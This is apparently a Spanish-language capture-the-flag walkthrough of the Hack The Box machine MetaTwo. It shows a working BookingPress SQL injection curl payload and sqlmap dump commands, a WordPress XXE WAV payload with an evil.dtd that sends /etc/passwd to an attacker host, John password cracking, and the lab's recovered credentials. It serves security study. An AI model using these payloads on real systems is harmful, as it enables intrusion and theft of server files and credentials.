MetaTwo - 10.10.11.186

Tabla de contenido

Tabla de contenido

Enumeración

Como paso inicial en nuestra ruta, realizaremos una enumeración del objetivo para poder detectar vectores de ataque y así idear un plan o estrategia para lograr vulnerar esta máquina como tal. Veremos tecnologías web, puertos, servicios y sus versiones, campos de ataque y más.

Puertos

Con ayuda de Nmap (nuestra favorita, o lo es en mi caso), vamos a enumerar las entradas del servidor y visualizar si alguna de estas es vulnerable debido a su versión o servicio expuesto de esta, con el fin de detectar vectores de ataque.

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp?
      | fingerprint-strings:
      |   GenericLines:
      |     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
      |     Invalid command: try being more creative
      |_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
      | ssh-hostkey:
      |   3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
      |   256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
      |_  256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open  http    nginx 1.18.0
      |_http-title: Did not follow redirect to http://metapress.htb/
      |_http-server-header: nginx/1.18.0

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Web

El servicio web cuenta con algunos campos muy básicos, uno de ellos es un campo de texto y el otro una caja de selección.

Infraestructura del objetivo:
• **Servidor:** Nginx 1.18.0
• **Lenguaje de programación:** PHP 8.0.24
• **Framework:**
  ◇ Element UI
  ◇ Backbone.js 1.4.0
  ◇ Vue.js
• **CMS:** WordPress 5.6.2
• **Librerías:**
  ◇ Moment.js
  ◇ Jquery 3.5.1
  ◇ Jquery Migrate 3.3.2
  ◇ UnderScore.js 1.8.3
  ◇ Core js 2.6.11
  ◇ Clipboard.js
  ◇ Jquery UI 1.12.1
• **SO:**
  ◇ Linux

Explotación

Vulnerabilidad detectada: SLQI

Descripción:
• La vulnerabilidad permite ejecutar sentencias SQL en el lado del servidor debido a que los campos de entrada no se encuentran sanitizados, logrando así obtener datos de la DB que se encuentra en el servidor, ya sea para lectura o escritura (actualización o creación de nuevos datos en la DB)

Exploit:
• Se utiliza SQLMAP para la explotación de la inyección (posteriormente para una previa actualización, buscaré explotarla de forma manual).

Descubrimiento:
• En nuestra etapa de enumeración, detectamos unos plugins que están siendo utilizados por el servicio de nuestra víctima; si realizamos una busqueda de cada uno de ellos veremos que uno es vulnerable frente a una inyección SQL, siendo así nuestra primera entrada o paso para explotar.
  ◇ BookingPress < 1.0.11 - Unauthenticated SQL Injection

Ataque:
• Mediante el comando dado por la detección anterior de la brecha, procedemos a buscar el parámetro _wponce en las páginas del servicio web.
• Realizamos un comando curl con lo obtenido curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wponce=c5af3ec428&category_id=33&total_serv UNION ALL SELECT database(),version(),2,3,4,5,6,7,8,9-- -'
• A continuación, para realizar el ataque más sencillo con SQLMAP, procedemos a utilizar BurpSuite

para capturar la petición y crear un archivo request, para capturar la petición solo añadimos el siguiente comando al curl realizado anteriormente -x http://127.0.0.1:8080
• Por consiguiente, realizamos el ataque con SQLMAP de la siguiente forma, en mi caso lo realice con el siguiente orden:
  ◇ sqlmap -r admin.req -p total_service --dbs --batch
  ◇ sqlmap -r admin.req -p total_service --batch -D blog --tables
  ◇ sqlmap -r admin.req -p total_service --batch -D blog -T wp_users --dump

Vulnerabulidad detectada: Cifrado de contraseñas debil

Descripción:
• Los datos sensibles de un usuario deben estar protegidos en caso de quedar expuestos, usar cifrados débiles permite que un atacante pueda romper facilmente la protección y exponer las constraseñas en plano.

Exploit:
• Se utiliza John

Descubrimiento:
• Por medio de la vulnerabilidad anteriormente detectada, se obtienen dos hash referentes a dos usuarios.

Ataque:
• Se guardan los hash obtenidos en un archivo.
• con ayuda de John rompemos el cifrado jhon --wordlist=/usr/share/wordlist/rockyou.txt hash.

Vulnerabilidad detectada: Inyección en entidad XML (XXE) - LFI

Descripción:
• Es una vulnerabilidad web en la que el atacante puede interferir con el procesamiento de datos XML de la aplicación, logrando así explotar la ausencia de protección frente a las entidades de XML
• Debido a una mala implementación sobre en la programación del servicio quedan brechas expuestas donde es posible identificar y leer los documentos que se encuentran en el servidor.

Exploit:
• Se crea un payload que llamara a nuestro malware para realizar la eplotación de la brecha.
• payload.wav
 ◇ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://direcciónAtacante:PUERTO/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
• evil.dtd
  ◇ <!ENTITY % FILE SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
      <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://direcciónAtacante:PUERTO/?p=%FILE;'>">

Descubrimiento:
• Realizando la busqueda sobre la vulnerabilidad detectada cuando se analizó el servicio de WordPress, fue posible detectar una brecha para poder leer archivos del servidor de forma remota.
  ◇ WordPress 5.6 - 5.7 - Authenticated XXE Within the media library affecting PHP 8
  ◇ Vulnerabilidad de WordPress XXE en la bilbioteca de multimedia: CVE 2021-29447
• Para el descubrimiento de los archivos, tuve que buscar información sobre la configuración de archivos en el servidor y el gestor de contenido
  ◇ WordPress Files
  ◇ Nginx Configuration Guide

Ataque:
• Montamos un servidor con PHP php -S direcciónAtacante:PUERTO

• Ingresamos al administrador del WordPress con las credenciales obtenidas
• Subimos el archivo payload.wav y tendremos algo divertido.

Vulnerabilidad detectada: Datos sensibles quemados en código

Descripción:
• Cuando se desarrolla un servicio web o se están configurando los archivos del servidor, se tiende a dejar datos sensibles como credenciales en el código y no se realizan variables de entorno para hacer uso de ellas.

Exploit:
• El exploit utilizado es el mencionado anteriormente en la vulnerabilidad XXE, dónde capturamos archivos del servidor y visualizamos credenciales.

Descubrimiento:
• Al leer los archivos internos del servidor por medio del ataque XXE, vemos varias credenciales en estos archivos, credeciales de ka DB, servicio FTP y un usuario del servidor.

Ataque:
• Por medio de XXE se visualizan las credenciales en plano.

Enumeración Interna

Debemos realizar una enumeración interna para poder visualizar nuestros posibles vectores para escalar privilegios y obtener un usuario privilegiado.

A continuación, veremos los comandos y su respuesta:

Hostname: meta2
Arquitectura: x86
SO: Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 GNU/Linux

Escalada de privilegios

Vulnerabilidad detectada: Ausencia del mínimo privilegio

Descripción:
• Durante la configuración de un servidor y sus usuarios, debemos establecer unas normas/ privilegios para estos dependiendo de su uso sobre el sistema, si va a tener interacción mínima, debemos dejar unicamente los privilegios mínimos necesarios.

Descubrimiento:
• Después de pasar horas y horas haciendo, desaciendo, buscando y probando; llegue a la misma conclusión de antes “Empecemos desde lo básico hasta lo avanzado, no todo se pinta dificil”, y logramos ver una carpeta dentro del usuario inicialmente vulnerado (jnelson), allí vemos que usa un servico/aplicación passpie y que podemos ver sus carpetas y demás archivos.

Exploit:
• John
• Se realiza una serie de comandos para obtener la palabra clave.

Ataque:
• Al detectar la llave, la leemos con el comando cat y copiamos la llave privada para realizar el

descifrado de la clave.
• con ayuda de john preparamos nuestra clave gpgjohn2 key > gpgKey
• Luego usamos john para descifrar john gpgkey --wordlist=/usr/share/wordlist/rockyou.txt
• E ingresamos como root.

Credenciales/Usuarios detectados

Durante la explotación, ya sea inicial, intermedia o final, es posible acceder a información sensible sobre algunos usuarios, dicha información será almacenada y guardada para un posterior movimiento.

Credenciales

• manager:partylikearockstar - WordPress Login
• blog:635Aq@TdqrCwXFUZ - DB
• metapress.htb:9NYS_ii@FyL_p5M2NvJ - FTP
• jnelson@metapress.htb:Cb4_JmWM8zUZWMu@Ys - SSH
• jnelson:blink182 - Palabra clave Passpie
• root:p7qfAZt4_A1xo_0x - SSH/SU

Hash

Hash del usuario que maneja el recurso compartido (SMB)
• PBGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb | admin
• PB4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager

Usuarios

Usuarios detectados con pocos privilegios:
• jnelson

Usuarios detectados:
• jnelson
• root